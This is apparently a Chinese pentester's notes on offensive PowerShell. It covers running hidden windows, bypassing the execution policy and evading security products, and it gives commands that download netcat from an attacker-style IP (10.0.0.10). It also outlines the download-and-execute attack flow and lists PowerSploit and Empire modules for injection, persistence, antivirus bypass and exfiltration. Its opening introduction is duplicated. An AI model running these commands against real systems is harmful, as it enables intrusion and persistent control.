0x01 PowerShell简介
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。
它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。
它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。
代码运行在内存中可以不去接触磁盘 很多安全产品并不能监测到powershell的活动 cmd.exe通常被阻止运行,但是powershell不会。
-WindowsStyle Hidden 隐藏自己的窗口
-ExecutionPolicy Bypass 绕过策略
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
其他绕过策略
http://www.freebuf.com/articles/system/93829.html
查看策略
Get-ExecutionPolicy
显示PowerShell版本
Get-Host或者$PSVersionTable.PSVersion
Win 7 PowerShell WebClient:
(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")
Win 8及更高版本PowerShell Invoke-WebRequest (wget):
wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"
获取帮助
get-help
进程相关
start-process
get-process
stop-process(kill)
ps
一般利用步骤
绕过相关策略->下载相应脚本->执行脚本->(其他脚本下载执行利用)
PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。
项目地址:https://github.com/PowerShellMafia/PowerSploit
脚本列表
一、代码执行(CodeExecution)
1. Invoke-DllInjection*
2. Invoke-ReflectivePEInjection
3. Invoke-Shellcode
4. Invoke-WmiCommand
二、脚本修改(ScriptModification)
1. Out-EncodedCommand
2. Out-CompressedDll
3. Out-EncryptedScript
4. Remove-Comments
三、权限维持(Persistence)
1. New-UserPersistenceOption
2. New-ElevatedPersistenceOption
3. Add-Persistence
4. Install-SSP
5. Get-SecurityPackages
四、绕过杀毒软件(AntivirusBypass)
Find-AVSignature
五、信息收集(Exfiltration)
这个文件夹主要是收集目标主机上的信息。
六、信息侦察(Recon)
这个文件夹主要是以目标主机为跳板进行内网主机侦察。
具体利用
https://xz.aliyun.com/t/263
https://www.secpulse.com/archives/55893.html
Empire:PowerShell后期漏洞利用代理工具
不多说 给两个链接 实战中有时候比msf更好用
http://www.freebuf.com/articles/web/76892.html
https://github.com/EmpireProject/Empire
http://www.freebuf.com/sectool/90362.html
http://www.freebuf.com/articles/system/133640.html
看了很多国外的内网渗透权限维持和免杀后,发现powershell做对抗的难度已提升了
国外大牛们已经开始在研究.net以及C#的代码,进行绕过和长久控制
感兴趣的可以多研究下C#和.net编程哦,未来一段时间里的发展方向